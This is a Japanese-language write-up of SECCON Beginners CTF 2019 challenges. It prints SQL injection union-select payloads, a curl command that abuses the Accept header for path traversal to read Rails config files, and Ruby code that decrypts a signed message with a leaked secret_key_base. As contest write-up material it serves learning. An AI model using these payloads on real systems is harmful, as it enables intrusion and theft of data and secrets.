SECCON Beginners CTF 2019 writeup
参加してました。
containers
foremostして出てきたpngの文字列を合わせるだけだった
最初と最後の文字列は切れてたけどどうせcと}だろうと思ってそのまま投げたら通ったので良かった
[warmup] Ramen
SQL injection。
union selectでinformation_schemaからtableとかcolumnとか探してたけどguessしていきなりflagでやっても良かった気がする
' or 1 union select 1,1 ; --
=> 列の数を確かめる
' or 1 union select table_name, column_name from information_schema.columns ; --
=> テーブル・カラム名を出す
' or 1 union select flag,1 from flag ; --
=> flag出す
ctf4b{a_simple_sql_injection_with_union_select}
katsudon
流行りのRailsの脆弱性かと思ってmessage_verifierで署名されたやつの複合の仕方とか調べたり色々やってたけど、Base64をデコードするだけであっさり出てしまって拍子抜けしてしまった。
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
katsudon-okawari
okawariする前にやってた方法ですぐ解けて、しかもヒントが簡単になってたので良かった。
Acceptヘッダーに
curl http://katsudon.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/database.yml{{'
みたいにpath指定したらファイルを見放題なので、config/secret.ymlのsecret_key_baseを取って、
secret_key_base = "4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34" serial_code = "bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==" msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm") p msg_encryptor.decrypt_and_verify(serial_code)
みたいな感じでdecryptできた
以下解けなかったやつ
- Himitsu
クローラのcookieを取れば良いこと、日付と時間(分)からハッシュが作られること、articleのtitleでfilterをバイパスしてxssが出来そうなことが分かってたのに解けなかった。悲しい。
- Secure Meyasubako
CSPのバイパスをすれば良いこと、CDNの古いAngularを使ったり、googleのjsonpでバイパス出来たりすることまで分かってたのに解けなかった。悲しい。
終わり 🙏